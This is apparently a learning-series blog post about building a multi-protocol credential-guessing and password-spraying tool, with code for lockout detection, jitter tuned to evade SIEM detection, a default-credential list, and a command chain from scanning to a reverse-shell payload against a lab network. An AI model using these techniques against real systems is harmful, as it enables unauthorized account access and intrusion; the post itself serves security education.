📍 Journey Navigation Prev: Day 12 — The Anatomy of a Reverse Shell: Building a Production-Grade Payload Generator Next: Day 18 — Module 1 Wrap-up: Foundation of AI Security | Day 1 | Day 3 | Day 5 | Day 10 | | Day 11 | Day 12 | Day 13 | Day 18 |
Status: Day 13 of 90-day AI Security journey — Module 1 Project 6 (Completed)
Projects Shipped: Network Service Credential Auditor (credaudit.py)
GitHub: applied-ai-security-projects
The Chain Completes
Over the last six projects, I've built a complete reconnaissance-to-exploitation pipeline from scratch:
- Port Scanner — what ports are open?
- Network Mapper — what hosts exist, what OS?
- Banner Grabber — what versions, what CVEs?
- Packet Sniffer — what's flowing through the network?
- Shell Payload Generator — what do I do once I have code execution?
- Credential Auditor — how do I get code execution in the first place?
Project 6 is the missing piece that sits between enumeration and post-exploitation. The banner grabber finds an FTP server running on port 21. The credential auditor tests whether admin:admin gets you in. The shell payload generator generates what you run once it does.
And the uncomfortable reality this project forced me to sit with: default credentials are the most common initial access vector in real-world breaches, not zero-days, not sophisticated exploits, not buffer overflows. The Verizon DBIR consistently shows that stolen or default credentials account for over 80% of hacking-related breaches. The sophisticated attack is the exception. admin:admin is the rule.
Building a tool that demonstrates this is not about enabling attacks. It's about making the vulnerability visceral enough that you actually go fix it.
What Makes This Different From a For Loop
The naive approach to credential testing is a for loop over a wordlist with print("success") or print("failed"). I've seen tutorials that are exactly that. They work — until the account locks out on attempt 4, or the service blocks your IP after 10 failures, or you're testing six different protocols and need the results in a format that feeds your next tool.
credaudit.py is 900+ lines that solve all of those problems. Here's the architecture before I dive into each component:
credaudit.py
├── Protocol Plugins (ABC)
│ ├── FTPAuditor — ftplib.FTP / FTP_TLS
│ ├── HTTPBasicAuditor — urllib.request + HTTPBasicAuthHandler
│ ├── HTTPFormAuditor — urllib.request POST + CookieJar + redirect tracking
│ ├── SMTPAuditor — smtplib.SMTP / SMTP_SSL + STARTTLS
│ ├── POP3Auditor — poplib.POP3 / POP3_SSL
│ └── IMAPAuditor — imaplib.IMAP4 / IMAP4_SSL
│
├── LockoutDetector — sliding-window state machine (CLEAN/WARNING/LOCKED)
├── RateLimiter — Gaussian jitter + exponential backoff
├── WordlistLoader — cartesian product · combo files · spray mode · priority ordering
├── AuditEngine — thread pool, queue-based dispatch, shared lockout/rate state
└── AuditReport — structured JSON + OPSEC risk scoring + MITRE ATT&CK tags
Zero pip installs. Pure Python stdlib throughout.
The ABC Plugin Pattern: Why Not if/elif
The single most important architectural decision in this project is how protocol support is structured. The naive approach is a conditional:
# The wrong way
if protocol == "ftp":
try_ftp(host, port, username, password)
elif protocol == "smtp":
try_smtp(host, port, username, password)
elif protocol == "imap":
...
This works until you want to add a seventh protocol. Then you touch the try_credential function, the result handling, the error classification — code that was already working. Every addition is a regression risk.
The right approach is an Abstract Base Class with a factory:
class ProtocolAuditor(ABC):
def __init__(self, target: TargetService, timeout: float = 8.0) -> None:
self.target = target
self.timeout = timeout
@abstractmethod
def try_credential(self, cred: Credential) -> AttemptResult:
...
class FTPAuditor(ProtocolAuditor):
def try_credential(self, cred: Credential) -> AttemptResult:
# FTP-specific logic only
...
class SMTPAuditor(ProtocolAuditor):
def try_credential(self, cred: Credential) -> AttemptResult:
# SMTP-specific logic only
...
# One-line factory mapping
_AUDITOR_MAP: dict[Protocol, type[ProtocolAuditor]] = {
Protocol.FTP: FTPAuditor,
Protocol.HTTP_BASIC: HTTPBasicAuditor,
Protocol.HTTP_FORM: HTTPFormAuditor,
Protocol.SMTP: SMTPAuditor,
Protocol.POP3: POP3Auditor,
Protocol.IMAP: IMAPAuditor,
}
def make_auditor(target: TargetService, timeout: float) -> ProtocolAuditor:
return _AUDITOR_MAP[target.protocol](target, timeout)
Adding SSH support (with paramiko) requires: one new class, one line in _AUDITOR_MAP. The AuditEngine, LockoutDetector, and RateLimiter need zero changes. This is the Open/Closed Principle applied to security tooling — open for extension, closed for modification.
The ABC also enforces correctness at import time. If I write a SSHAuditor that doesn't implement try_credential, Python raises a TypeError when I try to instantiate it. The contract is enforced by the type system, not by runtime failures during a lab session.
The Lockout Detector: A Three-State Machine
This is the component that separates responsible credential testing from reckless account destruction.
Most services have lockout policies: after N consecutive failed logins, the account is locked for M minutes (or permanently, requiring admin intervention). In a penetration test on a real client environment, accidentally locking out every service account is a critical incident. In a lab, it's an annoyance. Either way, you need to detect it before it happens.
The LockoutDetector implements a three-state machine:
first attempt
│
CLEAN ──── consecutive failures ≥ 5 ────► WARNING
│ │
│ rate limiter doubles delay
│ │
└─── failures in window ≥ 10 ──────────► LOCKED
OR fast-fail (< 50ms) × 3 │
queue drained
engine stops
class LockoutDetector:
def record(self, status: AttemptStatus, latency_ms: float) -> LockoutState:
# Signal 1: Consecutive failure count
if status == AttemptStatus.FAILURE:
self._consec += 1
self._timestamps.append(time.monotonic())
# Signal 2: Fast-fail heuristic
# If the service starts returning in < 50ms after N failures,
# it's not actually checking credentials — it's blocking immediately
if latency_ms < 50 and self._consec >= 3:
self._state = LockoutState.LOCKED
return self._state
if self._consec >= self._threshold: # 5 consecutive
self._state = LockoutState.WARNING
if len(self._timestamps) >= self._window_max: # 10 in 30s window
self._state = LockoutState.LOCKED
return self._state
The two-signal design is critical. A single consecutive-failure counter catches quota policies (lock after N fails per account). But it misses firewall-level IP blocking — when the firewall starts dropping your connections, the service doesn't return 530 anymore; it returns a TCP RST instantly. The fast-fail latency heuristic catches this: if responses start coming back in under 50ms, the service isn't running authentication logic — it's being blocked upstream.
When LOCKED is reached, the engine drains the credential queue and marks all remaining attempts as SKIPPED. This is the ethical design decision: we've detected lockout, so we stop burning attempts rather than exhausting the wordlist and locking every account permanently.
The Rate Limiter: Why Gaussian Jitter Specifically
Every tutorial on credential testing says "add a delay." The naive implementation is:
time.sleep(1.0) # flat delay
# or
time.sleep(random.uniform(0.5, 1.5)) # uniform random
Both are detectable. Flat delays create a perfectly regular request cadence — 1.000s, 1.000s, 1.000s — which is trivially identifiable as automated. Uniform random creates a flat distribution between 0.5s and 1.5s — better, but still statistically distinguishable from human behavior by any anomaly detection system.
Human typing patterns follow a roughly Gaussian distribution: most logins happen near the mean, with rare fast logins (good typists) and rare slow logins (distracted users). The RateLimiter mimics this:
class RateLimiter:
def __init__(self, base_delay: float = 0.5, jitter: float = 0.2) -> None:
self._base = base_delay
self._jitter = jitter
self._current = base_delay
def wait(self) -> None:
noise = random.gauss(0, self._jitter) # Gaussian noise
sleep_for = max(0.0, self._current + noise) # floor at 0
time.sleep(sleep_for)
def backoff(self) -> None:
"""Exponential backoff on WARNING state."""
self._current = min(self._current * 2.0, 30.0)
def reset(self) -> None:
self._current = self._base
random.gauss(0, σ) produces delays that cluster around base_delay with rare outliers — a realistic imitation of human cadence. This matters specifically against ML-based anomaly detectors (like those in modern SIEM platforms). A uniform distribution has a flat histogram; a Gaussian distribution has a bell curve. Systems trained on human login data will flag the former as anomalous and (potentially) miss the latter.
The adaptive backoff on WARNING state doubles the delay each time, up to a 30-second ceiling. This combines with the lockout detector: the moment failure rate spikes, the rate limiter slows down automatically.
Per-Attempt Connections: The Thread Safety Decision
Every try_credential() call opens its own connection and closes it when done. No connection pooling. No shared socket state between threads.
This is slower than a persistent connection pool. For FTP and IMAP especially, the TCP handshake overhead adds 20-50ms per attempt. But shared connections across threads create two problems that are worse than the latency:
Problem 1: State contamination. SMTP AUTH is a stateful protocol. After a failed LOGIN command, the server may require a specific sequence before accepting another attempt. If two threads share a connection and interleave their commands, the state machine breaks in ways that are hard to debug.
Problem 2: Authentication log accuracy. Each open-and-close cycle generates its own auth log entry on the server. A persistent connection might generate fewer log entries than actual attempts — which matters in an authorized assessment where you need to accurately report what you did. "We made 22 attempts" should produce 22 log entries.
The design decision: correctness over speed. This matches production security tooling. Metasploit's credential modules open a new connection per attempt. So does Hydra's default mode. The latency cost is real; the correctness benefit justifies it.
HTTP Form Authentication: The Cookie Jar Problem
FTP authentication is two lines. SMTP is three. HTTP form authentication is where things get interesting.
Modern web application login forms don't work like HTTP Basic Auth. They:
- Display a login form (GET request — often sets a CSRF token cookie)
- Accept credentials via POST
- Issue a session cookie on success
- Redirect to the dashboard (302 → follow redirect → 200)
A naive HTTP credential tester sends a POST with the credentials and checks if the response is 200. This fails constantly because the redirect chain changes the status codes, and without cookie tracking, session state doesn't persist across the redirect.
The HTTPFormAuditor handles this correctly:
class HTTPFormAuditor(ProtocolAuditor):
def try_credential(self, cred: Credential) -> AttemptResult:
# CookieJar persists cookies across the POST → redirect → GET chain
jar = CookieJar()
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
opener = urllib.request.build_opener(
urllib.request.HTTPCookieProcessor(jar),
urllib.request.HTTPSHandler(context=ctx),
)
data = urllib.parse.urlencode({
self.target.username_field: cred.username,
self.target.password_field: cred.password,
}).encode()
req = urllib.request.Request(url, data=data, method="POST")
req.add_header("User-Agent", "Mozilla/5.0 ...")
resp = opener.open(req, timeout=self.timeout)
body = resp.read(4096).decode("utf-8", errors="ignore")
final_url = resp.geturl() # URL after all redirects
# Check user-supplied success/failure patterns
if self.target.success_pattern:
if re.search(self.target.success_pattern, body, re.IGNORECASE):
return AttemptResult(cred, AttemptStatus.SUCCESS, latency, ...)
# Fallback heuristic: redirected away from login page = success
if self.target.login_url not in final_url:
return AttemptResult(cred, AttemptStatus.SUCCESS, latency, ...)
Three layers of success detection:
- Success pattern match — regex against response body (
"Welcome|Dashboard") - Failure pattern match — regex against response body (
"Invalid credentials") - Redirect heuristic — if the final URL after redirects is different from the login URL, the application moved us past the login page
The pattern matching is flexible because every web app is different. WordPress redirects to /wp-admin/ on success. DVWA shows "Login failed" text on failure. Jenkins redirects to the dashboard. There's no universal signal — the tool exposes the matching logic to the operator.
SMTP: Reading the Server's Capabilities Before Authenticating
SMTP AUTH is not a single protocol — it's a negotiation. The server advertises which authentication mechanisms it supports in its EHLO response:
220 mail.lab.local ESMTP Postfix
EHLO lab.local
250-mail.lab.local
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-STARTTLS ← TLS available
250-AUTH LOGIN PLAIN ← supported auth mechanisms
250-ENHANCEDSTATUSCODES
250 8BITMIME
The SMTPAuditor reads this before attempting authentication:
class SMTPAuditor(ProtocolAuditor):
def try_credential(self, cred: Credential) -> AttemptResult:
server = smtplib.SMTP(self.target.host, self.target.port, timeout=self.timeout)
server.ehlo(self.target.smtp_domain)
# Upgrade to TLS if the server offers STARTTLS
if server.has_extn("STARTTLS"):
server.starttls(context=ctx)
server.ehlo(self.target.smtp_domain) # Re-negotiate after TLS
# smtplib.login() tries AUTH mechanisms in capability order
server.login(cred.username, cred.password)
server.quit()
The ehlo() + has_extn("STARTTLS") + starttls() sequence matters. If you skip STARTTLS and just try AUTH LOGIN, you're sending credentials in plaintext on a connection that supports encryption. Any sniffer in the path (like the one I built on Day 11) sees the credentials. The auditor upgrades to TLS opportunistically — mirroring how a legitimate mail client behaves, which both protects the test credentials and makes the traffic look normal.
SMTP error codes are also protocol-defined:
535— authentication failed (wrong credentials)534— authentication mechanism too weak454— temporary authentication failure (lockout or rate limit)421— service unavailable (server-side rate limiting)
The SMTPAuditor classifies each code correctly: 535/534 are FAILURE, 454/421 are LOCKOUT. This feeds the LockoutDetector with accurate signal instead of treating all errors the same.
Password Spraying vs. Brute Force: The Lockout Evasion Distinction
Most people conflate "credential testing" with "brute force" — trying every password against one account until it locks. This is loud, destructive, and easily detected.
Password spraying inverts the loop:
# Brute force: for each user, try all passwords
for user in users:
for password in passwords: # inner loop = password
try(user, password)
# Password spraying: for each password, try all users
for password in passwords: # outer loop = password
for user in users:
try(user, password)
The difference: with spraying, each account sees at most one attempt per password cycle. If the lockout threshold is 5 consecutive failures, and you have 100 accounts, you can try 4 passwords per account (400 total attempts) before any account hits the lockout threshold — as long as you rotate through all accounts before repeating a password.
if spray_mode:
sorted_pw = sorted(passwords, key=cls._weight) # simple first
for pw in sorted_pw:
for un in usernames:
add(un, pw) # password outer, user inner
This is specifically T1110.003 in MITRE ATT&CK (Password Spraying) vs T1110.001 (Password Guessing / Brute Force). Modern SIEM detection rules for brute force look for multiple failures on a single account. Spraying deliberately evades that pattern by distributing failures across accounts.
Understanding why this works is why the --spray flag exists as an explicit mode — not to make evasion easy, but to understand what the detection rule misses and why behavioral analysis (detecting a single source hitting multiple accounts with the same password) is the right counter.
Priority Credentials: What admin:admin Actually Tells You
The WordlistLoader has 16 hardcoded credential pairs that are always tried first, before any wordlist:
PRIORITY_CREDS = [
("admin", "admin"),
("admin", "password"),
("admin", "123456"),
("admin", ""), # blank password
("root", "root"),
("root", "toor"),
("root", ""),
("guest", "guest"),
("ftp", "ftp"),
("anonymous", ""),
("anonymous", "anonymous@"),
("pi", "raspberry"), # Raspberry Pi default
("ubuntu", "ubuntu"),
...
]
These are not arbitrary. They come from documented default credentials for real hardware and software. pi:raspberry is the Raspberry Pi default. admin:admin is the factory default for hundreds of routers, switches, and IoT devices. anonymous: is the RFC-defined anonymous FTP access method.
The uncomfortable truth: in my lab environment (Metasploitable2), running the auditor with just the priority list — no wordlist, no additional passwords — finds valid credentials in under 10 seconds. The service was never configured. The defaults were never changed. That's the vulnerability.
This is not a contrived CTF scenario. Shodan regularly finds tens of thousands of internet-facing services with default credentials. Not because administrators are careless, but because:
- Default credentials work immediately and changing them requires effort
- Documentation for changing defaults is often buried
- In large deployments, credential rotation is a manual process that gets skipped
- Network devices especially are deployed once and forgotten
The priority credential list in this tool is a direct representation of real-world attack surface. The fix is exactly as unsexy as the vulnerability: change every default password, document the change, and verify it in your asset inventory.
OPSEC Risk Scoring: Turning Behavior Into a Detection Probability
After each service audit, the tool calculates an OPSEC risk score based on measurable behavior:
def calculate_opsec_risk(
attempts: int,
lockout_events: int,
elapsed_seconds: float,
delay: float,
) -> tuple[str, list[str]]:
rate = attempts / max(elapsed_seconds, 1)
if rate > 1.0: risk = "CRITICAL" # triggers IDS/SIEM threshold rules
elif rate > 0.5: risk = "HIGH" # likely trips detection
elif rate > 0.1: risk = "MEDIUM" # evades simple rate monitors
else: risk = "LOW" # within human login cadence
if lockout_events > 0:
risk = "CRITICAL" # account damage detected
| Risk | Condition | Real-World Detection |
|---|---|---|
| CRITICAL | Rate > 1 req/s or lockout events | Splunk ES "Brute Force Access Behavior Detected" fires immediately |
| HIGH | Rate 0.5–1 req/s | Threshold-based SIEM rules trigger after sustained activity |
| MEDIUM | Rate 0.1–0.5 req/s | Evades naive rate monitors; visible to statistical anomaly detection |
| LOW | Rate < 0.1 req/s | Within normal human variation; hard to distinguish from legitimate access |
The thresholds are not invented — they mirror the default correlation windows in Splunk Enterprise Security and common open-source SIEM rule sets. The tool tells you not just "you found credentials" but "here's how visible this test was to a defender."
This is what separates a security tool from a script. The script finds credentials and stops. The security tool finds credentials, tells you the detection risk, explains what a SIEM would have logged, and tags the technique with its MITRE ID.
The Full Reconnaissance Chain in Action
The six projects now form a complete pipeline. Here's what it looks like chained together:
# Step 1: Discover live hosts
python3 network_mapper.py 192.168.100.0/24 --json hosts.json
# Output: 192.168.100.20 (Windows), 192.168.100.30 (Linux/webserver)
# Step 2: Find open ports on each host
python3 port_scanner.py 192.168.100.20 --ports top100 --json ports.json
# Output: 21/FTP, 25/SMTP, 110/POP3, 143/IMAP open
# Step 3: Get service versions and CVEs
python3 banner_grabber.py 192.168.100.20 --ports 21,25,110 --json banners.json
# Output: ProFTPD 1.3.5 (CVE-2015-3306), Postfix 2.11
# Step 4: Test credentials against discovered services
python3 credaudit.py \
--host 192.168.100.20 --port 21 \
--protocol ftp \
--json creds.json
# Output: admin:admin ✓ (priority credential, attempt #2)
# Step 5: Generate post-auth payload
python3 shellgen.py \
--lhost 10.10.10.10 --lport 4444 \
--name python3-socket --plan
# Output: full deployment workflow + reverse shell payload
Start to shell in five commands, all built from scratch, zero external dependencies. That's the Module 1 capstone: not any single tool, but the pipeline they form.
What Building This Changed About How I Think About Authentication
I've implemented authentication on the application side many times. JWT tokens, OAuth flows, session management, bcrypt hashing. I thought I understood authentication security.
Building the credential auditor forced a different perspective.
The application layer is the last line of defense, not the first. When I wrote the FTP auditor, I realized: every authentication check I've ever written in application code assumes the attempt is legitimate enough to process. I validate the password hash. I check the account status. I log the failure. But I'm processing the attempt at all — which means the attacker gets a response that tells them whether to keep trying.
What actually stops credential attacks is layers:
- Rate limiting at the load balancer before the request hits application code
- IP-based throttling that cuts off a source after N failures regardless of account
- Account lockout (with the tradeoff of enabling DoS through deliberate lockouts)
- Multi-factor authentication that makes a correct password insufficient
- Behavioral analytics (UEBA) that detect unusual login patterns over time
My application-layer authentication code is the residual check after all of those. The FTP server running on port 21 with no rate limiting, no MFA, and default credentials has none of those layers. The credential auditor finds it in two attempts.
The service banner matters more than I thought. The banner grabber (Day 10) finds ProFTPD 1.3.5. That specific version has CVE-2015-3306 — a directory traversal that allows reading arbitrary files. But before we even get to that CVE, the credential auditor finds admin:admin. We have authenticated access before we need the exploit. The CVE is the backup.
This is why default credentials are more dangerous than many CVEs. A CVE requires a specific vulnerable version, an unpatched system, and often network proximity. Default credentials work across every version, every deployment, everywhere the credentials were never changed.
Honest Limitations
The lockout thresholds are static. My detector uses hardcoded defaults (5 consecutive failures, 10 in 30s). Real services have wildly different policies — Active Directory defaults to 10 failures, some enterprise LDAP setups lock after 3. The thresholds should be configurable per engagement. They're not yet.
HTTP Form auth has no CSRF handling. Modern web frameworks (Django, Rails, Laravel) embed CSRF tokens in login forms. A POST without the correct CSRF token returns a 403 or a misleading 200 with an error message. The HTTPFormAuditor doesn't extract and replay CSRF tokens — it will silently fail against CSRF-protected forms without a clear error signal. This is a documented limitation in the README.
No distributed mode. The tool tests from a single source IP. Real password spray campaigns often distribute attempts across multiple source IPs to evade per-IP rate limiting. Single-source testing is correct for authorized assessments (you want all traffic attributable to your test) but doesn't represent the full threat model.
The JSON report is not live. Results are written at the end of the run. For a long-running scan (large wordlist, 30-second delay between attempts), the intermediate results aren't persisted. If the process crashes, you lose everything. A streaming JSON writer that appends each attempt result would fix this.
These limitations are in the README. They inform how you use the tool and what the next iteration should fix.
Module 1: Six Projects In, More to Go
Six projects shipped. All pure Python. All built from scratch. Here's where Module 1 stands:
| Project | Tool | Status |
|---|---|---|
| 01 | Port Scanner | ✅ Shipped |
| 02 | Network Mapper | ✅ Shipped |
| 03 | Banner Grabber | ✅ Shipped |
| 04 | Packet Sniffer | ✅ Shipped |
| 05 | Shell Payload Generator | ✅ Shipped |
| 06 | Credential Auditor | ✅ Shipped |
| 07–10+ | Remaining projects | 🔄 In progress |
Module 1 has at least 10 projects total. The first six cover the core reconnaissance-to-credential-access chain. The remaining projects go deeper — more attack techniques, more defensive tooling, and the labs that tie it all together into a complete module.
The foundation is building. The chain is growing. More to ship.
Day 13 of 90 | Module 1 Project 6: ✅ Shipped | Credential Auditor: ✅ Complete | 6 Protocols: ✅ Working | Lockout Detection: ✅ Live | Spray Mode: ✅ Working | OPSEC Scoring: ✅ Working | Module 1: 🟡 6/10+ Projects Done | GitHub: kuldeepstechwork/applied-ai-security-projects
🔗 Related Posts
- Day 12 — The Anatomy of a Reverse Shell: Building a Production-Grade Payload Generator
- Day 11 — The Engine of Detection: Building a DPI Packet Sniffer
- Day 10 — Module 1 Capstone: Building Tools That See Like an Attacker
- Day 9 — Building a Detection System That Thinks
- Day 5 — HTTP, Reverse Shells & Thinking in Three Minds